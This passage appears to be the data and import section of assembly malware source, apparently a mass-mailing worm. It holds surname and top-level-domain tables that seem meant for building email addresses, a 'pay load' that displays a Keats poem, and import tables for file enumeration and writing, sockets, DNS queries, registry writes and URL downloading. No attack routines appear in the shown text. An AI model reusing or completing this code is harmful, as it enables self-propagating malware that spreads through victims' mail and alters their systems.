DB 'BUCKNER',0,'ROCHA',0,'PUCKETT',0,'LANGLEY',0,'KNOWLES',0,'COOKE',0,'VELAZQUEZ',0
|
|
DB 'WHITLEY',0,'NOEL',0,'VANG',0,'SHEA',0,'ROUSE',0,'HARTLEY',0,'MAYFIELD',0,'ELDER',0
|
|
DB 'RANKIN',0,'HANNA',0,'COWAN',0,'LUCERO',0,'ARROYO',0,'SLAUGHTER',0,'HAAS',0,'OCONNELL',0
|
|
DB 'MINOR',0,'KENDRICK',0,'SHIRLEY',0,'KENDALL',0,'BOUCHER',0,'ARCHER',0,'BOGGS',0
|
|
DB 'ODELL',0,'DOUGHERTY',0, 'ANDERSEN',0,'NEWELL',0
|
|
|
|
; a list of top level domains
|
|
topDomains DB 'com', 0, 'edu', 0, 'sa', 0, 'gv', 0, 'ac', 0, 'co', 0
|
|
DB 'at', 0, 'be', 0, 'bio', 0, 'br', 0, 'eti', 0, 'jor', 0
|
|
DB 'org', 0, 'tur', 0, 'nb', 0, 'yk', 0, 'bj', 0, 'hl', 0
|
|
DB 'hi', 0, 'nx', 0, 'cn', 0, 'ca', 0, 'dk', 0, 'gov', 0
|
|
DB 'ec', 0, 'il', 0, 'in', 0, 'jp', 0, 'nm', 0, 'kr', 0
|
|
DB 'mm', 0, 'mx', 0, 'pl', 0, 'ro', 0, 'ru', 0, 'sg', 0
|
|
DB 'th', 0, 'tr', 0, 'tw', 0, 'mi', 0, 'ac', 0, 'za', 0
|
|
DB 'nom', 0, 'ie', 0, 'jp', 0, 'mil', 0, 'se', 0, 'or', 0
|
|
DB 'cng', 0, 'lel', 0, 'ppg', 0, 'tv', 0, 'nf', 0, 'cc', 0
|
|
DB 'sh', 0, 'js', 0, 'sc', 0, 'xj', 0, 'fr', 0, 'go', 0
|
|
DB 'kr', 0, 'www', 0, 'sk', 0, 'uk', 0, 'alt', 0, 'ua', 0
|
|
DB 'hk', 0, 'gr', 0, 'cl', 0, 'br', 0, 'se', 0, 'cnt', 0
|
|
DB 'fot', 0, 'med', 0, 'pro', 0, 'vet', 0, 'ns', 0, 'tj', 0
|
|
DB 'zj', 0, 'gz', 0, 'tm', 0, 're', 0, 'k12', 0, 'biz', 0
|
|
DB 'by', 0, 'us', 0, 'af', 0, 'asn', 0, 'adm', 0, 'fst', 0
|
|
DB 'psc', 0, 'zlg', 0, 'nt', 0, 'cq', 0, 'ah', 0, 'yn', 0
|
|
DB 'ne', 0, 'pt', 0, 'rec', 0, 'tc', 0, 'wa', 0, 'ad', 0
|
|
DB 'eu', 0, 'uy', 0, 'am', 0, 'au', 0, 'adv', 0, 'ecn', 0
|
|
DB 'g12', 0, 'psi', 0, 'on', 0, 'he', 0, 'hb', 0, 'xz', 0
|
|
DB 'mo', 0, 'res', 0, 'lt', 0, 'nl', 0, 'tf', 0, 'lv', 0
|
|
DB 'itv', 0, 'hu', 0, 'as', 0, 'eng', 0, 'ab', 0, 'pe', 0
|
|
DB 'hn', 0, 'sn', 0, 'cx', 0, 'is', 0, 'lu', 0, 'ms', 0
|
|
DB 'no', 0, 'to', 0, 'gb', 0, 'plc', 0, 'arq', 0, 'esp', 0
|
|
DB 'ind', 0, 'ntr', 0, 'slg', 0, 'bc', 0, 'qc', 0, 'ln', 0
|
|
DB 'gd', 0, 'gs', 0, 'cz', 0, 'fin', 0, 'gf', 0, 'mc', 0
|
|
DB 'nu', 0, 'bbs', 0, 'kz', 0, 'tk', 0, 'bz', 0, 'me', 0
|
|
DB 'art', 0, 'etc', 0, 'inf', 0, 'odo', 0, 'tmp', 0, 'mb', 0
|
|
DB 'jl', 0, 'gx', 0, 'qh', 0, 'de', 0, 'vg', 0, 'ngo', 0
|
|
DB 'ch', 0, 'cd', 0, 'es', 0
|
|
DB 'firm', 0, 'info', 0, 'aero', 0, 'ernet', 0, 'school', 0
|
|
DB 'asso', 0, 'presse', 0, 'muni', 0, 'store', 0, 'name', 0
|
|
DB '$'
|
|
|
|
; pay load
|
|
szTitle DB "On Seeing the Elgin Marbles for the First Time.", 0
|
|
szElginMarbles DB "My spirit is too weak--mortality", CRLF
|
|
DB "Weighs heavily on me like unwilling sleep,", CRLF
|
|
DB "And each imagin'd pinnacle and steep", CRLF
|
|
DB "Of godlike hardship, tells me I must die", CRLF
|
|
DB "Like a sick Eagle looking at the sky.", CRLF
|
|
DB "Yet 'tis a gentle luxury to weep", CRLF
|
|
DB "That I have not the cloudy winds to keep,", CRLF
|
|
DB "Fresh for the opening of the morning's eye.", CRLF
|
|
DB "Such dim-conceived glories of the brain", CRLF
|
|
DB "Bring round the heart an undescribable feud;", CRLF
|
|
DB "So do these wonders a most dizzy pain,", CRLF
|
|
DB "That mingles Grecian grandeur with the rude", CRLF
|
|
DB "Wasting of old Time--with a billowy main--", CRLF
|
|
DB "A sun--a shadow of a magnitude.", CRLF
|
|
DB CRLF
|
|
DB "-- John Keats (1796-1821)", CRLF
|
|
DB 0
|
|
|
|
;-------------------------------------------------------------------------------------------------;
|
|
; Import Section ;
|
|
;-------------------------------------------------------------------------------------------------;
|
|
|
|
ImportTable API_Imports_9x
|
|
|
|
ImportDll Kernel32
|
|
ImportFunction ExitProcess
|
|
ImportFunction CreateFileA
|
|
ImportFunction ReadFile
|
|
ImportFunction SetFilePointer
|
|
ImportFunction WriteFile
|
|
ImportFunction CloseHandle
|
|
ImportFunction CreateThread
|
|
ImportFunction GetCurrentThread
|
|
ImportFunction GetExitCodeThread
|
|
ImportFunction lstrcpyA
|
|
ImportFunction lstrcatA
|
|
ImportFunction lstrlenA
|
|
ImportFunction lstrcmpA
|
|
ImportFunction RtlZeroMemory
|
|
ImportFunction RtlMoveMemory
|
|
ImportFunction ExitThread
|
|
ImportFunction GlobalAlloc
|
|
ImportFunction GlobalFree
|
|
ImportFunction GetDateFormatA
|
|
ImportFunction GetSystemTime
|
|
ImportFunction GetModuleFileNameA
|
|
ImportFunction GetVersion
|
|
ImportFunction GetFileSize
|
|
ImportFunction GetDriveTypeA
|
|
ImportFunction SetCurrentDirectoryA
|
|
ImportFunction GetCurrentDirectoryA
|
|
ImportFunction FindFirstFileA
|
|
ImportFunction FindNextFileA
|
|
ImportFunction FindClose
|
|
ImportFunction GetCommandLineA
|
|
ImportFunction GetTickCount
|
|
ImportFunction GetSystemDirectoryA
|
|
EndImport
|
|
|
|
ImportDll User32
|
|
ImportFunction MessageBoxA
|
|
ImportFunction CharUpperA
|
|
EndImport
|
|
|
|
ImportDll Wsock32
|
|
ImportFunction htons
|
|
ImportFunction connect
|
|
ImportFunction socket
|
|
ImportFunction gethostname
|
|
ImportFunction gethostbyname
|
|
ImportFunction inet_ntoa
|
|
ImportFunction WSAStartup
|
|
ImportFunction WSACleanup
|
|
ImportFunction recv
|
|
ImportFunction send
|
|
ImportFunction setsockopt
|
|
ImportFunction inet_addr
|
|
ImportFunction closesocket
|
|
EndImport
|
|
|
|
ImportDll Advapi32
|
|
ImportFunction RegOpenKeyA
|
|
ImportFunction RegSetValueExA
|
|
ImportFunction RegCloseKey
|
|
EndImport
|
|
|
|
EndImportTable
|
|
|
|
ImportTable API_Imports_2k
|
|
|
|
ImportDll Dnsapi
|
|
ImportFunction DnsQuery_A
|
|
ImportFunction DnsRecordListFree
|
|
EndImport
|
|
|
|
ImportDll Wininet
|
|
ImportFunction InternetGetConnectedState
|
|
ImportFunction InternetOpenA
|
|
ImportFunction InternetCloseHandle
|
|
ImportFunction InternetOpenUrlA
|
|
ImportFunction InternetReadFile
|
|
EndImport
|
|
|
|
EndImportTable
|
|
|
|
CODE_SIZE EQU ($ - offset main)
|
|
|
|
End main
|